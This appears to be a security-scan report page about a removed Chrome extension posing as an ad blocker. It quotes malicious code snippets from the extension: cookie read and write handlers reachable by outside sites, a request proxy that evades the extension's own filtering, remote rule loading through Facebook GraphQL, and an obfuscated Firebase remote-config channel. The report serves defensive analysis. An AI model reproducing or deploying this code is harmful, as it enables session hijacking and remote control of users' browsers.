AdBlock Plus - Always Free

ID: oaokpcjkmfmacfdnhmimangelmdpkgmf

Could be malicious

Supported Languages

🇺🇸English

Extension Info & Metadata

Status
Removed
Version
1.0.0.1
Size
2.02 MB
Rating
4.8/5
Reviews
58
Users
10,000
Type
Extension
Updated
Mar 9, 2024
Category
Productivity Tools
Price
Free
Featured
No
Visibility
Listed
Mature
No
By Google
No
Trusted
No

Publisher Contextual Analysis

Author
brainerkevin728View Profile
MX records exist
Yes
Domain exists
Yes
Is disposable
No
Is role-based
No
Mailbox exists
Yes
Total Extensions
1
Active
0
Obsolete
1
Listed
1
Unlisted
0
Total Users
10,000

Blocking ads and pop-ups on YouTube, Facebook, Twitch, and your favorite websites has never been easier.

Instantly block annoying ads, pop-ups, and intrusive trackers with AdBlock Plus - Always Free. AdBlock Plus - Always Free is the only tool you need to take full control of your web browsing experience. Eliminate unwanted ads, intrusive notifications, and advertising trackers within a few clicks. Key benefits include: Block Unwanted Ads & Trackers Enjoy a peaceful internet experience without any limitations by removing unwanted ads and trackers. Disable Annoying Notifications Instantly disable browser push notifications and interruptions with our 'Pop-Up Blocker' feature. Regain control today and fully manage your web browsing experience completely free of charge to disable unwanted ads, intrusive trackers, and annoying notifications. AdBlock Plus - Always Free will not store or log your data; your privacy is our priority. With the Facebook and YouTube ad-blocking feature, there may be instances where the feature doesn't work if developers change the source code and functionality. We cannot guarantee certainty, but we always strive to ensure functionality and provide you with the best experience using Facebook and YouTube. When using the Facebook ad-blocking feature, we will check if you are logged in to perform the ad-checking process and remove annoying ads. This ensures the utility works smoothly without conflicting with default activities.

Item
Type
Severity
Description
declarativeNetRequest
Permission
Critical
This permission allows the extension to define rules to block, redirect, or modify network requests. Rated Critical because it can control all network traffic, potentially blocking security updates or redirecting to malicious sites.
https://*/*
Host
Critical
Broad host access — the extension can read/modify content on every website.
http://*/*
Host
Critical
Broad host access — the extension can read/modify content on every website.
cookies
Permission
High
This permission provides full access to read and modify browser cookies. Rated High because it can steal session tokens, modify authentication cookies, and compromise accounts across websites.
storage
Permission
Medium
This permission allows storing data locally in the browser. Rated Medium because it can persist sensitive user data, track user activities over time, and potentially store malicious payloads.

The service worker registers onMessageExternal alongside onMessage and routes both into the same dispatcher, exposing a generic command surface (fetch, get/setCk, get/setDataToStorage, updateRule) to externally_connectable origins (facebook.com and youtube.com per manifest). Any web page on those origins can drive arbitrary fetches, read/write cookies on any domain, and rewrite the extension's network rules — a privilege-escalation pivot not justifiable for an ad blocker.

service_worker/background.bundle.js (Line 28)
chrome.runtime.onMessageExternal.addListener(((e, a, t) => r(e, t))), chrome.runtime.onMessage.addListener(((e,  a, t) => r(e, t)));const r = (e, a) => {    switch (e.action) {      case "fetch":        return n(e, a), !0;      case "getDataFromStorage":        return i(e, a), !0;      case "setDataToStorage":        return d(e, a), !0;      case "removeDataInStorage":        return l(e, a), !0;      case "updateSetting":        return o(e, a), !0;      case "setCk":        return m(e, a), !0;      case "getCK":        return h(e, a), !0;      case "updateRule":        return w(e, a), !0;

The 'fetch' handler accepts caller-supplied URL, headers, params, method and body, then disables the extension's own declarativeNetRequest 'block_ads' ruleset before issuing the request and re-enables it afterward. This is a generic request proxy that explicitly evades the extension's own filtering, returning full response data and headers to the caller — usable for SSRF-from-extension, cookie-bearing cross-origin reads, and exfiltration that bypasses the page's CORS and the extension's own block list.

service_worker/background.bundle.js (Line 66)
c = async (a, r) => {      try {        let o = a.url;        const n = await e(t);        if (await chrome.declarativeNetRequest.updateEnabledRulesets({            disableRulesetIds: [s]          }), a.params) {          const e = a.params;          o = a.url + "?" + new URLSearchParams(e)        }        const c = await fetch(o, {          method: "GET",          headers: a.headers        });        if ("true" === n && await chrome.declarativeNetRequest.updateEnabledRulesets({            enableRulesetIds: [s]          }), 200 === c.status) {          ...          r({            status: !0,            data: t,            headers: c.headers          })

setCk/getCK forward caller-controlled arguments straight into chrome.cookies.set/get with no domain, name, or origin validation. Combined with onMessageExternal exposure to facebook.com and youtube.com, this lets those origins read or overwrite cookies (including HttpOnly session cookies) for any host — a credential/session theft primitive masquerading as an ad-blocking helper.

service_worker/background.bundle.js (Line 141)
m = async (e, a) => {  var t;  await (t = e.data, new Promise((e => {    chrome.cookies.set(t, (a => {      e(a)    }))  }))), a({    status: !0  })}, h = async (e, a) => {  var t;  a({    status: !0,    data: await (t = e.data, new Promise((e => {      chrome.cookies.get(t, (a => {        e(a)      }))    })))  })}

updateRule wipes existing dynamic rules and installs caller-supplied action/condition pairs verbatim, with no schema validation or origin check. Because this handler is reachable via onMessageExternal, externally_connectable sites (facebook.com, youtube.com) — and any in-page actor that can load resources from them — can install arbitrary redirect/block/modifyHeaders rules at runtime, including rules that redirect login or banking traffic.

service_worker/background.bundle.js (Line 160)
w = async (e, a) => {  const t = e.data.rule,    s = (await chrome.declarativeNetRequest.getDynamicRules())    .map((e => e.id));  await chrome.declarativeNetRequest.updateDynamicRules({    removeRuleIds: s  }), t.rule.length > 0 && await chrome.declarativeNetRequest.updateDynamicRules({    addRules: t.rule.map(((e, a) => ({      id: 1 + a,      priority: 1,      action: e.action,      condition: e.condition    })))  }), a({    status: !0  })}

The content script POSTs to Facebook's internal /api/graphql/ endpoint with a hardcoded fb_dtsg CSRF token, jazoest, lsd, and a numeric doc_id, then takes the response's `rule` field and pipes it directly into the background's `updateRule` handler — installing remote-supplied declarativeNetRequest rules at runtime. This is remote rule/code-loading via Facebook's GraphQL as a covert C2 channel; the host is also overridable by `o.api`, allowing the operator to swap the rule source without a new extension version.

static/content_scripts/main.js (Line 8369)
l = null !== (t = o.api) && void 0 !== t ? t :  "https://www.facebook.com", u = {    av: (new Date).getTime(),    __user: (new Date).getTime(),    __a: 1,    __req: "k",    __hs: "19741.HYP:comet_pkg.2.1..2.1",    ...    fb_dtsg: "NAcOpHUJdVf62iRAwGMq6cldUWHUvsiues6QUNL3_c9E-Mbl4Rm1qZw:40:1705458389",    jazoest: "25482",    lsd: "IUMue1fssuzJsW6Yy94L-P",    ...    fb_api_req_friendly_name: "LSPlatformGraphQLLightspeedRequestQuery",    doc_id: 9944623912245126  }, s = new FormData, u) u.hasOwnProperty(c) && s.append(c, u[c]);return e.next = 7, fetch(l + "/api/graphql/", {  method: "POST",  body: s,  redirect: "follow"});...(p = h.data).rule && f(JSON.parse(JSON.stringify(p))),  ...  void 0 !== s && k("updateRule", {    rule: s  }, ...)

The Firebase configuration is base64-obfuscated and decoded with atob/JSON.parse at runtime — pointing at an attacker-controlled Realtime Database (adblock-6478e-default-rtdb.firebaseio.com) that the extension subscribes to under the path 'extension'. Live updates from this RTDB are used to drive behavior selectively on facebook.com, youtube.com, and google.com origins, providing a persistent remote-configuration / dynamic-payload channel outside the Web Store review surface.

static/content_scripts/main.js (Line 16907)
}(Rt(JSON.parse(atob(  "eyJhcGlLZXkiOiJBSXphU3lDVThuYkhDSXhDRUhLa1ZVZ2NCSXhsU0ctRGtHSGZRY0EiLCJhdXRoRG9tYWluIjoiYWRibG9jay02NDc4ZS5maXJlYmFzZWFwcC5jb20iLCJkYXRhYmFzZVVSTCI6Imh0dHBzOi8vYWRibG9jay02NDc4ZS1kZWZhdWx0LXJ0ZGIuZmlyZWJhc2Vpby5jb20iLCJwcm9qZWN0SWQiOiJhZGJsb2NrLTY0NzhlIiwic3RvcmFnZUJ1Y2tldCI6ImFkYmxvY2stNjQ3OGUuYXBwc3BvdC5jb20iLCJtZXNzYWdpbmdTZW5kZXJJZCI6IjU1NjczMTA4MzQ0MSIsImFwcElkIjoiMTo1NTY3MzEwODM0NDE6d2ViOjU3NGU2ZDA1NmQxZTMxN2UxMzUwOTAifQ==")))),El = function() {    ...    gl(dl(Sl, "extension"), (function(e) {      r(JSON.parse(JSON.stringify(e.val())))    }));    ...    children: [(0, I.jsx)(D, {}), "https://www.google.com" === window.location.origin && (0, I.jsx)(L, {}),      "https://www.facebook.com" === window.location.origin && (0, I.jsx)(j, {        extensionInfo: n      }),      "https://www.youtube.com" === window.location.origin && (0, I.jsx)(U, {        extensionInfo: n      })    ]

On Facebook pages, the content script asks the background to read the `c_user` cookie via the chrome.cookies API. `c_user` is Facebook's logged-in user-ID cookie; reading it through the cookie API specifically (rather than document.cookie) implies the goal is to confirm session presence and identify the victim before triggering the GraphQL pull and rule-injection flow above. Pairing user identification with remote rule loading is consistent with targeted account/session abuse rather than ad blocking.

static/content_scripts/main.js (Line 8612)
checkLogin: function() {  k("getCK", {    url: window.location.origin,    name: "c_user"  }, (function(e) {    e.status && null !== e.data ? o(!0) : o(!1)  }))}

The manifest grants broad host permissions and the cookies permission, then explicitly opens onMessageExternal to facebook.com and youtube.com pages. With the background.js handlers for `fetch`, `getCK`/`setCk`, and `updateRule`, this configuration is the wiring that turns the extension into a remote-controlled cross-origin proxy/cookie jar for those two domains.

manifest.json (Line 79)
{  "externally_connectable": {    "matches": [      "https://www.facebook.com/*",      "https://www.youtube.com/*"    ]  },  "host_permissions": [    "https://*/*",    "http://*/*"  ],  "permissions": [    "cookies",    "storage",    "declarativeNetRequest"  ]}

The popup loads otplib (a TOTP/HOTP one-time-password library) from a `scripts/` folder also exposed via web_accessible_resources. An ad blocker has no legitimate need for OTP/2FA generation code; bundling it alongside the cookie-read/Facebook-session logic is consistent with MFA-token handling for compromised accounts. (The referenced files were not in the extracted bundle, so the script source itself could not be inspected.)

pages/popup.html (Line 35)
<div id="oaokpcjkmfmacfdnhmimangelmdpkgmf" data-component="popup"></div><script src="../scripts/otplib.buffer.js"></script><script src="../scripts/otplib.index.js"></script><script src="../static/content_scripts/main.js"></script>

By severity

Critical5
High3
Medium1
Low0

Versions scanned

Showing 1 of 3 scanned versions with more than one unique finding. Counts are unique findings that include each version.

Extension VersionCode Review Findings
1.0.0.19

Files with findings

4 distinct paths — top paths by unique finding count:

  • service_worker/background.bundle.js4
  • static/content_scripts/main.js3
  • manifest.json1
  • pages/popup.html1
S.No.
Category
Severity
File
Summary
Found in Version
1Credential Theft
critical
service_worker/background.bundle.js (line 141)setCk/getCK forward caller-controlled arguments straight into chrome.cookies.set/get with no domain, name, or origin validation. Combined with onMessageExternal exposure to facebook.com and youtube.com, this lets thos…
1.0.0.1
2Network Interception
critical
service_worker/background.bundle.js (line 66)The 'fetch' handler accepts caller-supplied URL, headers, params, method and body, then disables the extension's own declarativeNetRequest 'block_ads' ruleset before issuing the request and re-enables it afterward. Th…
1.0.0.1
3Network Interception
critical
service_worker/background.bundle.js (line 160)updateRule wipes existing dynamic rules and installs caller-supplied action/condition pairs verbatim, with no schema validation or origin check. Because this handler is reachable via onMessageExternal, externally_conn…
1.0.0.1
4Privilege Escalation
critical
service_worker/background.bundle.js (line 28)The service worker registers onMessageExternal alongside onMessage and routes both into the same dispatcher, exposing a generic command surface (fetch, get/setCk, get/setDataToStorage, updateRule) to externally_connec…
1.0.0.1
5Remote Code Loading
critical
static/content_scripts/main.js (line 8369)The content script POSTs to Facebook's internal /api/graphql/ endpoint with a hardcoded fb_dtsg CSRF token, jazoest, lsd, and a numeric doc_id, then takes the response's `rule` field and pipes it directly into the bac…
1.0.0.1
6Privilege Escalation
high
manifest.json (line 79)The manifest grants broad host permissions and the cookies permission, then explicitly opens onMessageExternal to facebook.com and youtube.com pages. With the background.js handlers for `fetch`, `getCK`/`setCk`, and `…
1.0.0.1
7Remote Code Loading
high
static/content_scripts/main.js (line 16907)The Firebase configuration is base64-obfuscated and decoded with atob/JSON.parse at runtime — pointing at an attacker-controlled Realtime Database (adblock-6478e-default-rtdb.firebaseio.com) that the extension subscri…
1.0.0.1
8Unauthorized Data Collection
high
static/content_scripts/main.js (line 8612)On Facebook pages, the content script asks the background to read the `c_user` cookie via the chrome.cookies API. `c_user` is Facebook's logged-in user-ID cookie; reading it through the cookie API specifically (rather…
1.0.0.1
9Credential Theft
medium
pages/popup.html (line 35)The popup loads otplib (a TOTP/HOTP one-time-password library) from a `scripts/` folder also exposed via web_accessible_resources. An ad blocker has no legitimate need for OTP/2FA generation code; bundling it alongsid…
1.0.0.1
URLs
28
IPv4
58
IPv6
0

URLs

View the external URLs this extension communicates with to understand its network activity and data interactions.

Gain full insight into all external connections.

Upgrade for full visibility.

clients2.google.com/service/update2/crxhttps://clients2.google.com/service/update2/crx
*/*https://*/*
*/*http://*/*
www.facebook.com/*https://www.facebook.com/*
www.youtube.com/*https://www.youtube.com/*
fonts.googleapis.com-https://fonts.googleapis.com
fonts.gstatic.com-https://fonts.gstatic.com
fonts.googleapis.com/css2https://fonts.googleapis.com/css2?family=Montserrat:wght@300;400;500;600;700;800;900&display=swap
www.robotstxt.org/robotstxt.htmlhttps://www.robotstxt.org/robotstxt.html
http:-http://x.o2.pl^
Showing 1 to 10 of 30 rows
Rows per page:

Gain full insight into all external connections.

Upgrade for full visibility.

1.0.0.1
IPv4
-
0.0.0.1
IPv4
-
104.197.199.227
IPv4
-
146.190.12.4
IPv4
-
159.203.84.58
IPv4
-
162.252.214.4
IPv4
-
167.206.10.148
IPv4
-
167.99.31.227
IPv4
-
185.165.169.108
IPv4
-
185.193.38.148
IPv4
-
203.195.121.11
IPv4
-
23.109.87.101
IPv4
-
23.109.87.42
IPv4
-
35.194.26.233
IPv4
-
35.224.227.218
IPv4
-
35.226.75.50
IPv4
-
35.232.188.118
IPv4
-
35.238.205.163
IPv4
-
35.239.57.233
IPv4
-
37.1.209.213
IPv4
-
37.1.213.100
IPv4
-
45.32.105.134
IPv4
-
5.188.62.157
IPv4
-
5.61.55.143
IPv4
-
51.77.227.100
IPv4
-
51.77.227.101
IPv4
-
51.77.227.102
IPv4
-
51.77.227.103
IPv4
-
51.77.227.96
IPv4
-
51.77.227.97
IPv4
-
51.77.227.98
IPv4
-
51.77.227.99
IPv4
-
51.89.187.136
IPv4
-
51.89.187.137
IPv4
-
51.89.187.138
IPv4
-
51.89.187.139
IPv4
-
51.89.187.140
IPv4
-
51.89.187.141
IPv4
-
51.89.187.142
IPv4
-
51.89.187.143
IPv4
-
77.162.125.199
IPv4
-
91.241.60.117
IPv4
-
173.249.49.204
IPv4
-
192.168.0.1
IPv4
-
192.168.1.1
IPv4
-
216.18.176.4
IPv4
-
120.132.57.41
IPv4
-
199.116.177.156
IPv4
-
111.90.159.132
IPv4
-
111.90.150.10
IPv4
-
111.90.150.149
IPv4
-
193.197.158.209
IPv4
-
212.95.32.75
IPv4
-
180.76.2.18
IPv4
-
109.169.66.161
IPv4
-
78.46.19.203
IPv4
-
127.0.0.1
IPv4
-
77.91.202.130
IPv4
-
Showing 1 to 58 of 60 rows
Rows per page:
Showing 1 to 3 of 10 rows
Rows per page:

Code Diff

Compare extension code between any two versions.

0 changed files (scanned top 25 shared text files)

No comparable text files found between these versions.

Browse and explore files within this extension package

Gain full insight into all external connections.

Upgrade for full visibility.